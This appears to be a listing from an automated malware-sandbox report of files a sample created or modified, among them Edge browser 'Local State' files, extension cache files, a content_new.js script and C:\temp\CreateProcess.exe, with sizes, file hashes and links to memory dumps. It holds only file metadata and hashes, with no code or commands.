TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 7a21ca7459141c78b3d016ab9b35fc93a695f9ee581d99645c88a349e14663db
MD5 e39ca59fd2c213c0d84b4fc802dc782c
SHA1 6e6edee1648780a9d083530c8129d55bb1dcc71f
SHA512 d15baa52cc3fb9ecdc5b1b39788b57aa1f9de5d6f8a9d76eef91b6a2d1a2d51ff78e51e455ba04f31793edcbc31fc7355d5e3472725c100fa99027b2357660e5
SSDEEP 768:hrv+4UNbdz3b7+/TBOW39ONXyer1IRCzniBieVH1SK7:hbsbV3enSIqnBEH1l
TLSH
T10803BF32A4A89E334DE2A3C6B14776137FF86057D6840790EDDE2F4E069B59E130B91B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 3247cae2e68906f3d76ca27d0bbddf5d6e60652e2ef5eb1775dc20fb773f0061
MD5 0aba830520bbb10ae606dbc99498c254
SHA1 3305874d5adb9f8f294acf333f986669b3859d14
SHA512 be29b386dd3325b51e0451d95a750c03a1b5375a2a58eb154032ca2d228e92a0f50f493d1fd3c63e5c4bd472351e65e8ed639b0da47eda2778fcfba360b01c6c
SSDEEP 768:xrv+4UNbdz3hH+/TBOW3v9OONXyer1IRCzniwveVH1SK7:xbsbV3gPOSIqnjEH1l
TLSH
T1E603BF31A4A9DE334DE6A396B14BB3437FB82067D9800B90EDD61F4E069759E230F917
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 6553c78fde512b4831e9bed48e38be2308d3a114cb19154d7b85eb8a6b71c981
MD5 bc326209a26e402dcd2adea8cbbd0bc5
SHA1 064ba4b49cb40e75c88adf10ab2a921f84faa870
SHA512 1b29242cb5ecf0903ba6fdb454265de850dd4e00ba1fe55bafcda53886886eaf995959e2bfce6a6207a8365e44422e173a3c3ed5daa2e6db77b22fdab1ee7f72
SSDEEP 768:bH30zHM/TBOW3v9/ONXyer1IRCzni9vPi9PFtn:bH3tP/SIqnsPqtn
TLSH
T1F5F2AE70E4A5AD235CEAE3D6B5562383BFF82063E5C44B54EEE99B0D058355E130F81B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 01bf088679f4f25744e430de160b91fe96769746c1c1e8ca9da7e19c8a36cf10
MD5 ca0c307fad02c5dbbbf8c5fb895d50c6
SHA1 9a7627a17bf2a32cd35b475cde199aef3d89a00b
SHA512 629ff058b2a10381278348dd23918efe3b0056d4ee0e159b3db8d8be80b6373c43ad930c5143ba8afab47fa91544923e26f93f7c879d03af7be9c85cbeb0ce51
SSDEEP 768:Rrv+4UNbdA3ZFHM/TBOW3v9LONXyer1IRCzni9vPi9PFtW:Rbsb63sPLSIqnsPqtW
TLSH
T13113BE31E468AE234DE6A3D6B14763837FF824A7D4800754EED96B8D06875AE230F917
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 44KB
SHA256 eb67ed56250878e135245fff113986b76fdd7f7ad2ab42d453bb725aea612241
MD5 e0d2938b2074e1da80cae1d8c0f24405
SHA1 11843ec3587222e771639b2ba835f0a0bebdb680
SHA512 0581bd312d1147f4fab526a1019999ba7124a43b8758ed412e386018724403aa7179fb63c228f6764668d6e57a79bd69da228a5f3f110933d8cb4af84ff96dc5
SSDEEP 768:eFQ93CwgRsH/csOW3v9gONXyer1IRCzni9vPi9PFtn:1937VgSIqnsPqtn
TLSH
T1DA1327F194D79A37E8AE9783A37D6E429AFCD063B5845580BBD45E4CCC8217FC30A816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 dc86dff8fbd3b224794d65e8c0974ffa3b17c53a934c92f82e938e524fe823dd
MD5 80c2dfaf9affc09798a4976ae70f1b0b
SHA1 80daf1112206b189525aa4f5b380fbbba97b583a
SHA512 be5ed753856621e4dc5b64324872539291704bf5d2a415ac993b5f475db90e958544f281ac36d3e17af93c554895ceeaccf6fa9b0839d21c60a38443b2081876
TLSH
T15FE06880883D0EC2EBB60A5FE40706FC40C8491AB498187804CEF899A03B0973115C7D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 55aa4ab756834699189543863036551542c61249184224f927d1681ef15164dd
MD5 c1bec3bc77db46888e279f8b3eeb18fc
SHA1 c2d14f387c796193ddc6378267768745c10dae14
SHA512 8d41fbab8134eec1a95a53d4d56d1d2edb1edced5b2f4987278e5b8f6ac9b169c9928a0c52ebe7a66393caddfa5a29e001890386b54105a8e69958661b40ec35
TLSH
T134F09E808C3E1AC5D6B90F6FE40716FC40D8591670D9287844CEE4A8A47B05B311586D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

15b90880-44ba-4f8f-a8fd-8f0a381372a3.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\15b90880-44ba-4f8f-a8fd-8f0a381372a3.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

fcf31cb3-653f-45b4-a4d3-f597440eb9c1.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\fcf31cb3-653f-45b4-a4d3-f597440eb9c1.tmp
Size 35KB
SHA256 37c38c270cdddf2ca0fc4b42cace04527a7becfca99d421766cb0a2094118a30
MD5 c04a34ed7d31926f3b7c9afbab83b6b2
SHA1 edb4f691a83aa2f82bf07046a106904605cd9529
SHA512 d8bbd2e6a9deed1f04d3a0fe3496f375fc639e818ef64d246fa4536f6f40a07c00cae6038e180efd50bc42aad98ff832378a2a7d0c5f230cf8945d7046be5d38
SSDEEP 768:HH3ZzHM/TBOW3v9/ONXyer1IRCzni9vPi9PFtn:HH3GP/SIqnsPqtn
TLSH
T153F2BF70E4A5AD235CEAE3C6B5562383BFF82063E5C45B54EEE99B0D058356E130F81B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir5380_117528314\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 8298e09e3777b77ae3b33738439a3097b6cb358404e272498bfe5e728cdd2481
MD5 5ca780e12e764b9f0e6ac12966f72d78
SHA1 159d9ae1962c8e8aed1d373a3fc816f65d7a70ff
SHA512 e5f908776d38ea1de5551033855688791e99462563702667f62c5b0fcab34ff23a91ee831147772f31d14051ed72a67eccccc31126ae495c68fdd1adacbcb1f9
TLSH
T1AD71C09366A9D5F3C1DB5BF102835644F5BB227C0B63702117665986AA30A7A54B8F04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1144-342-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1372-457-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1860-408-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2284-69-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2340-459-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2340-435-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2736-368-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2960-236-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3180-500-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3524-480-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4052-365-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4324-237-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4324-189-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4388-319-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4416-424-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4416-436-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4780-315-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5252-395-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5440-265-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5704-420-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5868-290-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6056-277-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6112-463-0x0000000000010000-0x00000000000AB000-memory.dmp

Download